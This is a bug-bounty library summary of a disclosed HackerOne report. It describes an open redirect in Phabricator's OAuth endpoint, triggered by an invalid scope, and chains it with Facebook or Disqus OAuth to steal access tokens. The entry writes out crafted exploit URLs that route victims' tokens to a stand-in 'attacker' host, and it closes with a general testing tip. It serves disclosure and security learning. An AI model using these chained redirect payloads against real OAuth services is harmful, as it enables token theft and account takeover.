# OAuth Stealing Attack (New)

Phabricator OAuth dialog auto-redirects to attacker redirect_uri on invalid scope, letting an attacker chain Facebook/Disqus OAuth to steal tokens in one click.

- Payout: $400
- Severity: medium
- Program: Phabricator
- Credited: krangbuster
- Disclosed: 2014-04-13
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/3930
- Library page: https://bugbountylibrary.com/r/h1%3A3930
- Tags: domain:web impact:ato kind:bounty platform:hackerone sev:medium tech:oauth technique:chained vuln:auth-bypass vuln:open-redirect

**Target:** Phabricator OAuth server auth endpoint (oauthserver/auth)
**Root cause:** The OAuth dialog redirects to the supplied redirect_uri even when an invalid/unknown scope is provided, instead of rejecting the request, enabling an open redirect.
**Steps:**
1. Craft `https://secure.phabricator.com/oauthserver/auth/?redirect_uri=http://attacker&response_type=code&client_id=PHID-OASC-...&scope=ggg` with invalid scope `ggg`
2. Observe automatic redirect to attacker site
3. Chain via Facebook: `https://www.facebook.com/dialog/oauth?client_id=...&response_type=token&redirect_uri=https://secure.phabricator.com/oauthserver/auth/?redirect_uri=http://attacker%26response_type=code%26client_id=...%26scope=ggg`
4. Victim clicks link; Facebook token lands on attacker via Phabricator redirect
**How found:** Researcher tested Phabricator OAuth dialog with a different/invalid scope value and noticed it still auto-redirected to the supplied redirect_uri rather than erroring.
**Exploitation:** Attacker embeds Phabricator OAuth auth URL as the redirect_uri of a Facebook/Disqus OAuth authorize endpoint. When victim clicks, the provider redirects to Phabricator with the token/code, and Phabricator's invalid-scope handling forwards it to the attacker's redirect_uri. No login or interaction required beyond one click.
**Escalation:** Chained Phabricator open redirect with third-party OAuth providers (Facebook, Disqus) to capture their tokens/codes.
**Insight:** OAuth authorization endpoints that redirect on error paths (invalid scope, bad client) leak the redirect_uri trust boundary; test error branches of OAuth dialogs as open-redirect primitives and chain them as redirect_uri into third-party OAuth flows.